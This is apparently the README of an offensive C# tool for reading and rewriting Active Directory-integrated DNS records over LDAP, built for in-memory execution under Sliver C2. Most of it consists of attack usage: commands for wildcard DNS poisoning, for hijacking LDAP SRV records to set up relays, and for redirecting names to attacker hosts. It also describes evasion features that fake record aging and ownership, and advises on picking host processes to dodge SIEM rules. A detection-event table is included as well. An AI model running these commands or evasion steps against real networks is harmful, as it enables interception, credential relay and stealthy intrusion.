A C# CLI tool for reading and modifying AD-Integrated DNS records over LDAP, built for serious red teaming and packed with tradecraft features tailored for Sliver C2 execute-assembly.
Built for serious red-team use: first-class Sliver execute-assembly mode --c2, --dry-run pre-flight with structured --backup-to rollback, batch scripting --script, JSON receipts with cross-invocation correlation_id, and active fingerprint mitigation — --mimic-aging defeats the Timestamp=0 IOC, --set-owner camouflages object ownership, --require-pdc keeps writes off non-PDC replicas.
Built around System.DirectoryServices. Targets .NET Framework 4.x and produces a small standalone .exe. Intended for authorized red team / pentest engagements and lab work.
| Action | Description |
|---|---|
| enum | List every dnsNode under a zone, with type and value summary |
| query | Read one node and decode each dnsRecord blob in detail, plus an owner + DACL summary |
| add | Create or update a record (A, AAAA, CNAME, TXT, PTR, SRV, MX, or raw blob) |
| disable | Tombstone the node (soft delete; object stays in AD) |
| remove | Hard-delete the dnsNode object |
| list-zones | Enumerate dnsZone objects across all three partitions (DomainDnsZones / ForestDnsZones / System) |
Record builders implement the DNS_RPC_RECORD structure from [MS-DNSP] and the DNS_COUNT_NAME label encoding used for CNAME / PTR / NS.
Requires .NET Framework 4.x. From a Developer Command Prompt, or pointing directly at csc.exe:
csc /optimize+ /r:System.DirectoryServices.dll /out:SharpADIDNS.exe SharpADIDNS.cs
csc.exe ships with the OS at:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
No third-party dependencies.
Prebuilt binary: download SharpADIDNS.exe from the Releases page (CI attaches a fresh build to every tagged release). To build from source, follow the csc command above. The release/ directory is not tracked in the repo.
End-to-end scenarios: see docs/RECIPES.md for cookbook-style walkthroughs (DNS recon, single-record add with rollback, stealth add with --mimic-aging + --set-owner, wildcard injection, SRV relay, batch ops, engagement cleanup, DACL pre-flight). Reference docs (this README) cover the flags; recipes cover the flows.
Unit tests cover the pure functions (no AD required): Bin endian helpers, DnsRecord builders + decoders, DNS_COUNT_NAME edge cases, tombstone FILETIME, Json.Escape. Build and run:
csc /main:TestRunner /r:System.DirectoryServices.dll /out:tests\Tests.exe tests\Tests.cs SharpADIDNS.cs
tests\Tests.exe
Exit code 0 on pass, 1 on any failure. The tests/Tests.exe binary is ignored by git.
SharpADIDNS.exe <action> [options]
| Option | Description |
|---|---|
--zone <fqdn> |
DNS zone, e.g. redteamnotes.local (required) |
--name <label> |
Record name; @ = apex, * = wildcard (required, except for enum) |
--dn <DN> |
Naming context, e.g. DC=redteamnotes,DC=local (required) |
--partition <name> |
DomainDnsZones (default) / ForestDnsZones / System |
--server <host> |
Target DC FQDN or IP. Omit for serverless bind. |
| Option | Description |
|---|---|
--type <T> |
A / AAAA / CNAME / TXT / PTR / SRV / MX (default: A) |
--data <value> |
IP for A/AAAA; target FQDN for CNAME/PTR/SRV; exchange FQDN for MX; ASCII for TXT (≤255 bytes). Alias: --ip. |
--srv-priority <N> |
SRV priority, 0..65535 (default: 0) |
--srv-weight <N> |
SRV weight, 0..65535 (default: 0) |
--srv-port <N> |
SRV port, 0..65535 (required when --type SRV) |
--mx-pref <N> |
MX preference, 0..65535 (default: 10) |
--raw <base64> |
Pre-built dnsRecord blob; bypasses --type / --data and the SRV/MX flags |
--ttl <sec> |
1..604800 (default: 600) |
--force |
Replace records of the same type on an existing node. Records of other types on the same node are preserved. |
--append |
Keep all existing records on the node and add one more. Mutually exclusive with --force. Refuses on tombstoned nodes -- use --force to un-tombstone+write. |
| Option | Description |
|---|---|
--username <user> |
UPN or DOMAIN\user. Default: current process token. |
--password <pwd> |
Cleartext password. Visible in process listings, Sysmon EID 1, and shell history; emits a warning unless --allow-cleartext-password is also passed. |
--password-stdin |
Read password from stdin (one line). |
--password-env <VAR> |
Read password from the named environment variable. |
--password-base64 <b64> |
UTF-8 password encoded as base64. Useful for transporting passwords containing ', ", $, spaces, or other shell-unfriendly characters through multiple parser layers (e.g. Sliver execute-assembly). |
--allow-cleartext-password |
Silence the --password cleartext warning. |
--ldaps |
Bind over LDAPS (port 636). |
When --username is given without any password source, the password is prompted interactively (input not echoed). If stdin is redirected (CI, piped scripts), the run errors out with usage code 1 instead of silently waiting.
| Option | Description |
|---|---|
--dry-run |
For add / disable / remove: bind to AD (read-only), print the intended DN, new blob, and the existing-record delta. No writes are performed. Useful for verification before committing changes. |
--backup-to <file|-> |
Before modifying a node (add --force, add --append, disable, remove), append a JSON line capturing the existing state. With <file>: append to that file (accumulates across runs). With - (sentinel): write to stdout instead -- no disk artifact, useful for in-memory execution via Sliver execute-assembly. Fields per line: _type:"backup", timestamp (UTC ISO 8601), action, dn, dNSTombstoned, records (array of base64-encoded dnsRecord blobs). In --format json mode the action receipt already carries previous_state, so --backup-to - is suppressed to avoid duplicate stdout output. |
-y, --yes |
Skip the interactive confirmation on high-risk operations (see list below). Required when stdin is not a TTY (CI, piped scripts) -- otherwise high-risk ops refuse to run. |
--show-pdc |
Look up and print the PDC emulator hostname before running the action. |
--require-pdc |
Error out unless --server matches the PDC emulator hostname (case-insensitive; also accepts matching first DNS label). Avoids writing to a non-PDC replica whose change takes minutes to replicate and shows up in replPropertyMetaData under a non-PDC DSA. |
Restore from a backup file: pipe a relevant base64 blob into add --raw <base64> --force. Each line is independent and self-describing.
High-risk triggers that prompt for confirmation (or require --yes):
- any
remove-- hard-deletes thednsNodeobject add --name "*"-- wildcard hijacks every unresolved name in the zoneadd --name wpad/add --name isatap-- GQBL-monitored names, heavily flagged by MDI / SIEMadd --forceon a node withdNSTombstoned=TRUE-- un-tombstone is a known ADIDNS-abuse IOC
| Option | Description |
|---|---|
--filter-type <T,...> |
Comma list of types, or repeated (--filter-type A --filter-type AAAA is equivalent to --filter-type A,AAAA). Shows nodes that have at least one record of these types. Accepted: A, AAAA, CNAME, PTR, SRV, MX, TXT, NS, SOA, TS (tombstone). |
--filter-name <glob> |
Match the node name (case-insensitive). * and ? wildcards. Examples: sql*, _*._tcp.*, ?pad. |
--only-tombstoned |
Show only tombstoned nodes. |
--no-tombstoned |
Hide tombstoned nodes (active only). |
--only-tombstoned and --no-tombstoned are mutually exclusive. All filters are applied client-side after the LDAP fetch.
| Option | Description |
|---|---|
-v, --verbose |
Print DNs, raw blobs, bind details |
-q, --quiet |
Suppress [*] info lines |
--format <text|json> |
Output format for enum / query / list-zones (default: text). JSON is single-line, suitable for piping through jq. |
--color / --no-color |
Force or disable ANSI color (default: auto-detect TTY). |
-h, --help |
Show full help |
-V, --version |
Print version and exit |
Any argument starting with @ is treated as a path to a text file whose contents are spliced into the argument stream. One token per whitespace; lines beginning with # are comments. Useful for keeping long, repeated targeting flags out of every command:
# common.args
--zone redteamnotes.local
--dn DC=redteamnotes,DC=local
--server dc.redteamnotes.local
SharpADIDNS.exe enum @common.args
SharpADIDNS.exe query @common.args --name sccmBoth --flag value (space) and --flag=value (equals) are accepted. The equals form splits at the first =, so values containing = (base64 padding ==, DN strings like DC=redteamnotes,DC=local) are preserved. Useful when passing args through multiple shell-parsing layers (e.g. Sliver execute-assembly) where space handling is fragile.
SharpADIDNS.exe <verb> --help (e.g. add --help, enum --help) prints a verb-specific USAGE line and only the sections relevant to that verb (e.g. add shows RECORD DATA; enum shows ENUM FILTERS; list-zones shows neither). Plain --help (no verb) prints the full reference.
| Code | Meaning |
|---|---|
| 0 | Success |
| 1 | Usage / argument error |
| 2 | LDAP / AD operation failed (see stderr for ExtendedError) |
| 3 | Target object not found |
| 4 | Access denied |
Enumerate every node in a zone:
SharpADIDNS.exe enum \
--zone redteamnotes.local \
--dn DC=redteamnotes,DC=local \
--server dc.redteamnotes.localEnumerate all DNS zones across every partition (no --zone needed):
SharpADIDNS.exe list-zones \
--dn DC=redteamnotes,DC=local \
--server dc.redteamnotes.localRead one record and decode all blobs on it:
SharpADIDNS.exe query \
--zone redteamnotes.local \
--name sccm \
--dn DC=redteamnotes,DC=localInject a wildcard A record (classic ADIDNS poisoning):
SharpADIDNS.exe add \
--zone redteamnotes.local \
--name "*" \
--type A \
--data 10.0.0.66 \
--ttl 600 \
--dn DC=redteamnotes,DC=localAdd an AAAA record with explicit credentials over LDAPS:
SharpADIDNS.exe add \
--zone redteamnotes.local \
--name web \
--type AAAA \
--data fe80::1 \
--dn DC=redteamnotes,DC=local \
--server dc.redteamnotes.local \
--username 'redteamnotes\redpen' \
--password 'RedteamN0t3s.' \
--ldapsAdd a CNAME (preserves any A/AAAA already on the node when used with --force):
SharpADIDNS.exe add \
--zone redteamnotes.local \
--name printer \
--type CNAME \
--data attacker.redteamnotes.local \
--dn DC=redteamnotes,DC=local \
--forceHijack an LDAP SRV record (classic Kerberos / LDAP-relay setup):
SharpADIDNS.exe add \
--zone redteamnotes.local \
--name _ldap._tcp.dc._msdcs \
--type SRV \
--srv-priority 0 --srv-weight 100 --srv-port 389 \
--data attacker.redteamnotes.local \
--dn DC=redteamnotes,DC=local \
--forceAdd an MX record:
SharpADIDNS.exe add \
--zone redteamnotes.local \
--name '@' \
--type MX \
--mx-pref 10 \
--data mail.attacker.redteamnotes.local \
--dn DC=redteamnotes,DC=local \
--forceAdd a PTR record in a reverse zone:
SharpADIDNS.exe add \
--zone 0.0.10.in-addr.arpa \
--name 66 \
--type PTR \
--data attacker.redteamnotes.local \
--dn DC=redteamnotes,DC=localTombstone a node instead of hard-deleting it:
SharpADIDNS.exe disable \
--zone redteamnotes.local \
--name wpad \
--dn DC=redteamnotes,DC=localInject a pre-built record (e.g. for non-standard types or PoC reproduction):
SharpADIDNS.exe add \
--zone redteamnotes.local \
--name custom \
--raw BASE64_DNSRECORD_BLOB \
--dn DC=redteamnotes,DC=local \
--force- Any authenticated domain user can create new
dnsNodeobjects by default. Existing nodes are owned by their creator; modifying or removing them requires explicit ACEs (creator,DnsAdmins, or a delegated ACL). wpadandisatapare blocked by the DNS server's Global Query Block List (GQBL) since Server 2008. The record will be written to AD but the DNS server refuses to answer queries for those names. GQBL is a DNS server registry setting (HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\GlobalQueryBlockList) and is not visible via LDAP.disableis more OPSEC-friendly thanremove: the object stays in AD withdNSTombstoned=TRUEand is scavenged by AD after theDsTombstoneInterval(default 14 days on Server 2008+).- Wildcard (
*) records hijack every unresolved name in the zone. Runenumfirst to confirm you are not stomping legitimate data. --forcereplaces records of the same type on the target node; records of other types on the same node are kept. To wipe everything, usedisableorremovefirst.
What writing to AD-Integrated DNS over LDAP looks like to defenders. Use --dry-run to preview, --backup-to to leave a rollback trail, and prefer disable (tombstone) over remove (hard delete) when you have the choice.
These fire on the DC that receives the write. They require Directory Service Access auditing to be enabled (default is off, but commonly enabled in enterprises running MDE / MDI / mature EDR).
| Event ID | Source | Triggered by |
|---|---|---|
| 5136 | Security | Modify of dnsRecord or dNSTombstoned (the add --force and disable paths) |
| 5137 | Security | Creation of a new dnsNode (the add create path) |
| 5141 | Security | Deletion of a dnsNode (the remove path) |
| 4662 | Security | DS-Access on the zone container, gated by SACL; fires before 5136/5137/5141 |
| 4624 | Security | Logon on the DC for --username/--password binds. Not triggered when using the current-process token. |
The 5137 event includes the new node's RDN, so wildcard / wpad / isatap stand out by name alone.
MDI ships a detection family covering ADIDNS abuse. Sensors on each DC tag LDAP traffic plus the 5136/5137/5141 stream. Actions this tool performs commonly trigger:
- Suspicious DNS record creation -- new
dnsNodewhose creator is not in a service / admin group, especially forwpad,isatap, or wildcard. - Suspicious DNS attribute modification --
dnsRecordblob mutations on existing high-value nodes. - Reconnaissance using DNS -- bulk enumeration over LDAP (less specific, fires on heavy
enumuse).
--ldaps does not bypass MDI -- the sensor reads decrypted traffic via local Schannel hooks and consumes the event log directly.
Sentinel / Splunk content packs commonly include rules that this tool will trip:
EventID == 5137 AND ObjectClass == dnsNode(any new dnsNode).EventID == 5136 AND AttributeLDAPDisplayName IN (dnsRecord, dNSTombstoned)withOperationType == "Value Added".- Subject of the above not in
Domain Admins/DnsAdmins/Enterprise Admins. - Newly created dnsNodes whose RDN matches
wpad|isatap|\*|localhost.
| Attribute | Why it stands out |
|---|---|
dNSTombstoned=TRUE becoming FALSE (un-tombstone) |
Rarely benign -- AD scavenging is the only common path that sets it TRUE. The tool prompts before this case unless --yes is given. |
dnsRecord blob with Timestamp=0 (static) in a dynamic-update zone |
DDNS clients always write Timestamp != 0; raw LDAP writes default to 0. |
| Unusual TTL (< 60s or > 1d when not warranted) | Defenders profile typical TTLs per zone. |
whenChanged on a node that previously only had DDNS-driven changes |
DDNS goes through secureUpdateAllowed; raw LDAP writes update whenChanged directly. |
Owner SID on a dnsNode that isn't the original creator or a privileged group |
Visible in nTSecurityDescriptor. The query action will surface this in a future release. |
The dnsRecord attribute is replicated across all DCs in DomainDnsZones (or ForestDnsZones / System, depending on --partition). replPropertyMetaData records the originating DSA and timestamp -- if you wrote to a non-PDC DC, that DSA shows up in the metadata, not the PDC. Replication can take several minutes; defenders correlating logs across DCs will notice the lag if the change is queried elsewhere quickly.
- Prefer
disable(no 5141 delete event, no delete inreplPropertyMetaData). - Prefer the current-process token to
--username/--password(no 4624 logon spike on the DC). - Use
--dry-runbefore every write -- avoid the "test in prod" footprint. - Use
--backup-toso a discovered change can be reverted quickly without re-binding. - Pick names consistent with the zone's existing operational naming.
wpad/ wildcards / very short names attract attention. - Set TTLs consistent with surrounding records (
enumfirst).
This is the primary deployment path for the tool. Sliver loads the assembly into a sacrificial process via CLR reflection, runs Main in memory, and pipes stdout/stderr back to the operator. The OPSEC surface is different from a local-shell invocation -- some Tier-1 protections become irrelevant, and new constraints appear.
Pass --c2 and --password-base64; everything else is the same as a local invocation:
# operator: encode the password once
$ printf 'RedteamN0t3s.' | base64
UmVkdGVhbU4wdDNzLg==
# in Sliver console:
sliver > execute-assembly SharpADIDNS.exe -p dllhost.exe -- \
add \
--c2 \
--username 'redteamnotes\redpen' \
--password-base64 UmVkdGVhbU4wdDNzLg== \
--zone redteamnotes.local --dn DC=redteamnotes,DC=local --server dc.redteamnotes.local \
--name sccm --type A --data 10.0.0.66--c2 flips on a coherent set of defaults (no FUD warnings, no prompts, no color, quiet, --format json, --backup-to - to stdout). --password-base64 is the only password source that survives Sliver's multi-layer command parsing cleanly when the password contains ', ", $, or spaces.
A single JSON line on stdout (the receipt) plus a single JSON line per backed-up node (only when --backup-to <file> is set with a real file; --c2's default --backup-to - is suppressed since the receipt already carries previous_state).
Receipt schema:
{
"correlation_id": "uuid-shared-by-all-receipts-from-this-invocation",
"action": "add" | "disable" | "remove",
"result": "ok" | "would_do", // "would_do" under --dry-run
"operation": "create" | "replace" | "append", // add only
"dn": "DC=sccm,DC=...",
"zone": "redteamnotes.local",
"name": "sccm",
"record": { "type":"A", "type_id":1, "ttl":600, "timestamp":3727482, "ipv4":"10.0.0.66", "blob_base64":"..." },
"previous_state": null | {
"tombstoned": false,
"records_base64": ["...", "..."]
},
"reverse": "SharpADIDNS.exe remove ..." | null
}previous_stateisnullforaddcreating a brand-new node, populated otherwise.reverseis a one-line undo when expressible as a single command (onlyaddcreate). For replace / append / disable / remove, the undo is multi-step (oneadd --raw <b64> --forceper entry inprevious_state.records_base64);reverseisnulland the operator iterates.- Under
--dry-run, the same schema is emitted but withresult: "would_do"andset_owneromitted (no SetOwner ran). Useful for previewing a write without committing. correlation_idis identical across every JSON line produced by one process invocation (action receipts, dry-run receipts,query/enum/list-zonesoutput,script_summary, backup lines). Group by it for downstream log aggregation.
# from the receipt's previous_state.records_base64, restore each one
sliver > execute-assembly SharpADIDNS.exe -p dllhost.exe -- \
add \
--c2 \
--username 'redteamnotes\redpen' \
--password-base64 UmVkdGVhbU4wdDNzLg== \
--zone redteamnotes.local --dn DC=redteamnotes,DC=local --server dc.redteamnotes.local \
--name sccm \
--raw <base64-from-previous_state> --forceAvoid notepad.exe -- a notepad.exe process making LDAP queries to a DC is a soft anomaly that some SIEM rules flag. Prefer processes that legitimately make LDAP traffic or are otherwise unremarkable network citizens:
dllhost.exe-- generic, common, makes various RPC/network callssvchost.exe-- usually too restricted unless you launch your own serviceRuntimeBroker.exe-- modern Windows, network-activeservices.exe-- requires SYSTEM but a legitimate LDAP client
This is a Sliver-side knob (execute-assembly -p <process.exe>), not a SharpADIDNS feature.
- DC-side audit events still fire (5136 / 5137 / 5141 / 4662). See the
Detection surfacesection above.--c2is about operator OPSEC, not target OPSEC. - Microsoft Defender for Identity still sees the LDAP traffic on the sensor.
--ldapsdoes not hide this. --dry-runstill recommended: run once with--dry-run --c2to see the planned blob, then re-run without--dry-runto commit. Same authentication flow, zero AD writes on the dry-run pass.
- stdin sources don't work: Sliver
execute-assemblydoes not pipe stdin to the assembly.--password-stdinand the interactive auto-prompt both fail withConsole.IsInputRedirected == true. Use--password-base64instead. --password-env <VAR>rarely works: the sacrificial process inherits its env from Sliver's beacon, not from the operator's shell. You'd have to set the env var in the beacon first, which is more work than--password-base64.@argfile.txtexpects the file to exist on the target host. Not useful in C2 unless you've already dropped a file there (which is itself an artifact).--backup-to <file>(with a real path, not-) writes the file in the sacrificial process's CWD, oftenC:\Windows\System32. The file persists after the process exits. Use--backup-to -(or rely on the receipt'sprevious_state).
A single execute-assembly invocation runs multiple actions. Statements are ;-separated; each statement is a regular action verb with its own flags, applied on top of the outer flags (which become defaults).
sliver > execute-assembly SharpADIDNS.exe -p dllhost.exe -- \
--c2 \
--username 'redteamnotes\redpen' \
--password-base64 UmVkdGVhbU4wdDNzLg== \
--zone redteamnotes.local --dn DC=redteamnotes,DC=local --server dc.redteamnotes.local \
--script "
enum;
add --name sccm --type A --data 10.0.0.66 --mimic-aging;
query --name sccm;
disable --name old-host
"Stdout contains one receipt JSON line per statement (in order), plus a final summary line:
{"_type":"script_summary","total":4,"succeeded":4,"failed":0,"on_error":"halt"}Why this matters for OPSEC: each execute-assembly spawns a sacrificial process (Sysmon EID 1) and loads the CLR (.NET ETW chatter). N actions run as N separate execute-assembly calls cost N spawns; the same N actions run via --script cost one spawn. Less process noise to correlate, fewer process trees to investigate.
--script-on-error halt (default) stops on the first failure. --script-on-error continue (or its alias --continue-on-error) keeps running and reports the totals in the summary.
Action-scoped flags (--name, --data, --raw, --force, --append, --mimic-aging, --set-owner, --type, --srv-*, --mx-pref, --filter-*, --only-tombstoned, --no-tombstoned) are reset per statement -- they don't bleed between statements. Targeting and auth flags (--zone, --dn, --server, --username, --password*, --ldaps, --partition) are inherited from outer and can be overridden per statement.
Every dnsRecord value is a DNS_RPC_RECORD blob:
offset size field
0 2 DataLength (little-endian)
2 2 Type (little-endian)
4 1 Version (= 0x05)
5 1 Rank (0xF0 = DNS_RANK_ZONE for AD-integrated)
6 2 Flags (little-endian)
8 4 Serial (little-endian)
12 4 TTL (BIG-endian)
16 4 Reserved
20 4 Timestamp (hours since 1601-01-01; 0 = static)
24 N Type-specific data
Type-specific data:
- A (1): 4 bytes IPv4
- AAAA (28): 16 bytes IPv6
- CNAME (5) / PTR (12) / NS (2):
DNS_COUNT_NAME - TXT (16): length-prefixed ASCII string(s)
- TS (0, tombstone): 8 bytes
EntombedTimeFILETIME (little-endian)
DNS_COUNT_NAME for foo.bar.example:
[0x11][0x03][0x03]foo[0x03]bar[0x07]example[0x00]
^ ^
| LabelCount (3)
cchNameLength (17 = label data including trailing 0x00)
- [MS-DNSP] Domain Name Service (DNS) Server Management Protocol
- Powermad (Kevin Robertson) — PowerShell ADIDNS toolkit
- krbrelayx / dnstool.py (dirkjanm) — Python ADIDNS toolkit
For use in authorized security assessments, CTFs, and lab environments only. The author assumes no responsibility for misuse.

